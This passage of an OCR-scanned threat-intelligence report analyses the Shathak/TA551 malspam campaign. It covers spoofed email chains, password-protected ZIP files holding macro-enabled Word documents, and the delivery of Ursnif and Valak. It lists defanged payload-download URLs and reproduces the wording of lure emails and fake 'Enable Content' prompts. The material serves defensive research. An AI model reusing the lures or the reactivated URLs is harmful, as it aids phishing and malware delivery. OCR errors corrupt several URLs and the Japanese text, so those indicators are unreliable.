Russian cybercriminals. It has used Word document templates targeting English-, Italian-, German- and Japanese-

speaking recipients. Shathak/TA551 has been active at least as early as February 2019.
Shathak/TA551 distribution has the following characteristics:

e Malspam spoofs legitimate email chains based on mailbox data retrieved from previously-infected
Windows hosts. It sends copies of these email chains to senders and recipients from the original email
chain.

e The spoofed email chain includes a short message as the most recent item in the chain. This item is a
generic message that instructs recipients to open an attached ZIP archive using a supplied password.

e The password-protected ZIP attachments contain a Microsoft Word document with macros to install

malware. See Appendix A for examples of these Word documents from June 2020.

e The macros usually generate a URL ending in .cab to retrieve a binary that installs malware. This binary is
currently a DLL file. Appendix B lists examples of URLs from this campaign.

e Prior to April 2020, the most common malware caused by Word documents associated with Shathak/TA551
was Ursnif.

 Since April 2020, the most common malware distributed by these Word documents has been Valak.
Appendix C lists a series of Valak DLL examples from June 2020.

e Since May 2020, passwords used for the ZIP attachments appear to be unique to each recipient.

To get an idea of traffic patterns associated with Shathak/TA551, recent examples of URLs generated by the
associated Word macros follow (Read: Date - URL).

e 2020-05-26 - hxxp://c1j4xptyujjpyt8[.]Jcom/gg88wyaftcxr7gu/wo0zz.php?1=sfzs9.cab
e 2020-05-27 - hxxp://ft23fpcuSyabw?2[.]Jcom/alth/xzrn.php?l=Ifahe9.cab

e 2020-06-03 - hxxp://awh93dhkylps5ulng-be[.Jcom/czwih/fxla.php?l=gap1.cab

e 2020-06-09 - hxxp://adzy33hbmhxx70w9q[.]com/hdil/kzex.php?l=soub12.cab

e 2020-06-10 - hxxp://kzex9vpOjfw6a8upl[.]Jcom/hdil/kzex.php?l=phinl.cab

e 2020-06-22 - hxxp://5u2mr[.]Jcom/unbbmevd/d76.php?l=oev1.cab

e 2020-06-23 - hxxp://fepz41[.]Jcom/unbbmevd/d76.php?l=ynetz11.cab

e 2020-06-24 - hxxp://mbzrrt[.]Jcom/unbbmevd/d76.php?l=ftywl4.cab

e 2020-06-26 - hxxp://ofxvp[.]Jcom/unbbmevd/d76.php?l=wozmbl9.cab

e 2020-07-06 - hxxp://eto9vel[.]Jcom/iz5/yaca.php?l=tze7.cab

As noted previously, Appendix B provides more examples of these URLs generated by Word macros associated
with Shathak/TA551.

Figures 22-30 provide screenshots with selected examples of malspam and the extracted Word documents
associated with Shathak/TA551. These images illustrate how the Shathak/TA551 distribution has evolved since
February 2019.
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®Re: - Moxzilla Thunderbird — O X
File Edit View Go Message Tools Help
From o € Reply % ReplyAll v - Forward More v
Subject Re: 2/4/2019, 4:34 PM
To pxd

Good Morning, Extracted document name: requesti1.doc
Please see the attached proposal!
zip password 1234567

Thank You & Best Regards. File Home Insert Design Llayout References Mailings Review View Help Q Tell me

el s Request11.doc [Read-Only] [Compatibility Mode] - Word = =

1 SECURITY WARNING Macros have been disabled. Enable Content

From:
Sent: Thu, 24 Dec 2015 06:50:16 +0000

This document created in previous version of Microsoft Office Word

To view or edit this document, please click "Enable editing” button
on the top bar, and then click "Enable content"”.

v @J 1 attachment: .zip 76.

‘ g

i Zip 769 KB

Page10f1 0 words BEE B -——F

O X

Q. Share

+ 84%

Figure 22. Shathak/TA551 malspam to an English-speaking recipient from February 4, 2019.

O Re: b " - Mozilla Thunderbird - O X
File Edit View Go Message JTools Help

From Lt 7Y 6 Reply  Reply All v - Forward More v
Subject Re: 4/2/2019, 5:22 AM

To [xd
Buongiorno, Extracted document name: doc_02.04.doc

Vedi allegato e di confermare. = doc [Read-Only] [Compatibility Mode] - Word 2

~

zip password 123456 * File Home Insert Design Llayout References Mailings Review View Help Q Tellme

Cordiali saluti I SECURITY WARNING Macros have been disabled. Enable Content

From:

Sent: Mon, 22 Oct 2018 ©7:01:40 4
To: sit
Subject:

Questo file é stato creato con una versione
precedente di Microsoft Office Word.

Per visualizzare il contenuto & necessario fare dick sul pulsante "Abilita modifiche®,
situato sulla barra gialla in alto, e iccare su "Abilita contenuto”.

v [ 1 attachment: Zip 53.8KB
[ Zip 538 KB

Page10f1 0words BEE B -——F

[m] X

Qr Share

+ 82%

Figure 23. Shathak/TA551 malspam to an Italian-speaking recipient from April 2, 2019.
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@) Re: - Mozilla Thunderbird — [} X
| File Edit View Go Message JTools Help
From e € Reply % Reply All ‘v ~ Forward More v
Subject Re: ] 7/22/2019, 12:36 PM
To ¢ w
Good Morning, Extracted document name: info_07.22.doc  *

Please see attached and confirm. o s info_07.22.doc [Read-Only] [Compatibility Mode] - Word Sign in =B -

i File Home Insert  Design Layout References Mailings Review View Hel, Q Tell me
zip pass 123 « . i’ % woe
| SECURITY WARNING Macros have been disabled. Enable Content X

Thank you.

cell

Hours: Monday - Thursday from 7am - 5:30

This document created in previous version of Microsoft Office Word .

From:. To view or edit this document, please click "Enable editing" button
Sent: Mon, 28 Aug 2017 14:51:51 +0000 on the top bar, and then click "Enable content"
To:
Subject
v [ 1attachment: zip 388 iB
H zip 38.8KB

Page1of1 Owords B 5 -—1n

+ 84%

Figure 24. Shathak/TA551 malspam to an English-speaking recipient from July 22, 2019.

0 Re: - Moxzilla Thunderbird — [} X
File Edit View Go Message Tools Help
From de>v¥ € Reply 4§ Reply All ‘V ~ Forward More v
Subject Re: 10/30/2019, 7:26 AM
To devy
Guten Morgen, Extracted document name: info_10.30.doc  *

P = - info_10_30.doc [Read-Only] - Word B - 0O X

File Home Insert Design Llayout References Mailings Review View Help Q Tell me ,‘:jr Share

zip pass 777 *
I SECURITY WARNING Macros have been disabled. Enable Content

Mit freundlichen GriiRen |

Dieses Dokument wurde in der vorherigen Version von "Microsoft Office Word" erstellt.

Um dieses D Zu Vi isi oder b i klicken Sie, bitte, auf die
a i in der oberen Leiste und dann auf ,Inhalt aktivieren®,

52 [ﬂj 1 attachment: zip 130 KB

I zip 130KB z
‘v

Page10of1  Owords BB B -—th—+ 84%

Figure 25. Shathak/TA551 malspam to a German-speaking recipient from October 30, 2019.
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O Re: - Mozilla Thunderbird — O X
File Edit View Go Message Tools Help
From cojp> 1Y © Reply % Reply All ‘v ~ Forward More v
Subject Re: 12/17/2019, 10:28 PM
To cojpty .
BREREITEVET )

A7 7ALOTHER, BELLBEVWWELET,
2P 7 A LR/ SR T — 112345 * Extracted document name: info_12_18.doc

= < info_12_18.doc [Read-Only] - Word gn in &= - m] X

File Home Insert Design Layout References Mailings Review View Help Q Tell me ‘..Ar Share
From: .co.jp

Sent: Fri, 06 Dec 2019 02:54:21 +0000
To:

1 SECURITY WARNING Macros have been disabled. Enable Content

Subject:
TORFIA> B BlEID/(—> 3 > DMicrosoft Office Word [C{ERENIEEDTH 3.
CORFIAS PERFFLFRVETSCE. [BER] . RIZEIVUYIUTIES L,
ToMc, BHBRE] 20Uy IULET,
o @ 1 attachment: zip 8
H zip 889 KB *

"1

Page1of 1 Owords BEE B - S B -+ 83%

Figure 26. Shathak/TA551 malspam to a Japanese-speaking recipient from December 17, 2019.

O Re: AW: - Mozilla Thunderbird — [} X
File Edit View Go Message Tools Help
From de>vy © Reply 9 ReplyAll v~ Forward More v
Subject Re: AW: 3/26/2020, 7:17 AM
To comyy

Guten Morgen,

Extracted document name: information_03.26.doc

= information_03.26.doc [Read-Only] - Word Sign in = - (] X

Sehen Sie bitte die beigefugte Datei. File Home Insert Design Layout References Mailings Review View Help Q Tellme Q. Share

I SECURITY WARNING Macros have been disabled. Enable Content x

zip pass 111 *

Mit freundlichen GriiRen

Dieses Dokument wurde in der vorherigen Version von "Microsoft Office Word" erstellt.

Um dieses Dokument zu visualisieren oder bearbeiten, klicken Sie, bitte, auf die
Schaltflache ,Bearbeitung aktivieren” in der oberen Leiste und dann auf ,,Inhalt aktivieren”.

v @J 1 attachment: zip 114

i Zip 114 KB

+ 83%

Page 1of 1 Owords B B - L

Figure 27. Shathak/TA551 malspam to a German-speaking recipient from March 26, 2020.
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O Re: Re: - Mozilla Thunderbird . O X
File Edit View Go Message Tools Help
From o € Reply  ReplyAll v -~ Forward More v
Subject Re: Re: 4/28/2020, 12:12 PM
. & Examples of extracted document names:
Good Morning, docs,04.20.doc legal paper,04.20.doc =

inquiery_04.20.doc certificate,04.28.2020.doc
files 04.28.2020.doc specifics-04.20.doc

Please see the attached document.

= - docs,04.20.doc [Read-Only] - Word | -

File Home Insert Design Layout References Mailings Review View Help Q Tell me

zip pass 111 *
| SECURITY WARNING Macros have been disabled. Enable Content

This document created in previous version of Microsoft Office Word

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content"

v [IJ] 1 attachment:

Page10of 1 Owords B2 B - B + 83%

Figure 28. Shathak/TA551 malspam to an English-speaking recipient from April 28, 2020.

‘ O Re: - Mozilla Thunderbird — O X ‘

‘Eile Edit View Go Message Tools Help ‘

From v © Reply % ReplyAll v ~ Forward More v

Subject Re: 5/22/2020, 12:41 PM ‘

To # Examples of extracted document names: ‘
! P, input_05.20.doc contract_05.22.2020.doc
document_05.20.doc prescribe-05.22.2020.doc

Please see the attached document.
deed contract 05.20.doc command-05.22.2020.doc

Password - 990ES * = < file 05.20.doc[Read-Only] -Word B = - O X
Thank you. File Home Insert Design Layout References Mailings Review View Help Q Tell me }:4_ Share

I SECURITY WARNING Macros have been disabled. ‘ Enable Content X
From: a
Sent: Sun, ©9 Dec 2018 14:56:51 | T
To:
Subject:

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content".

v [ 1 attachment: Zip 69.8 KB
[ _ Zip 698KB \’

Page1of1 0words B E B - 1 + 83%

Figure 29. Shathak/TA551 malspam to an English-speaking recipient from May 22, 2020.
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) Re: AW: AW: - Moxzilla Thunderbird - [m} X
File Edit View Go Message Tools Help

From dety © Reply % ReplyAll v - Forward More v
Subject Re: AW: AW: 5/26/2020, 7:05 AM

To | dety Examples of extracted document names:
Guten Morgen, die Regel.05.26.2020.doc Dateien 05.20.doc
Sehen Sie bitte die beigefugte Datei. der Vorschlag,05.20.doc Z_ahlen.05.20.doc
das Dokument 05.26.2020.doc direkt 05.20.doc

Password - 412RT * = s das Dokument 05.20.doc [Read-Only] - Word Signin = =

File Home Insert Design Layout References Mailings Review View Help Q Tell mq

Mit freundlichen Grien. e
I SECURITY WARNING Macros have been disabled. Enable Content X

Dieses Dokument wurde in der vorherigen Version von "Microsoft Office Word" erstellt.

From: .de

Sent: Fri, 27 Sep 2019 08:12:09 +0 Um dieses Dokument zu visualisieren oder bearbeiten, klicken Sie, bitte, auf die

To: dd Schaltflache ,Bearbeitung aktivieren” in der oberen Leiste und dann auf ,Inhalt aktivieren”.
v [ 1 attachment: Zip 714KB
(1§ zip T14KB /

Page1of 1 0words BB B -- ] + 83%

Figure 30. Shathak/TA551 malspam to a German-speaking recipient from May 26, 2020.

This distribution network has generally pushed Ursnif in previous years, but since late April 2020, we’ve most
often seen Valak from Shathak/TA551. In some cases, we still see Ursnif from this distribution, which recently
happened on June 10, 2020, and July 7, 2020.
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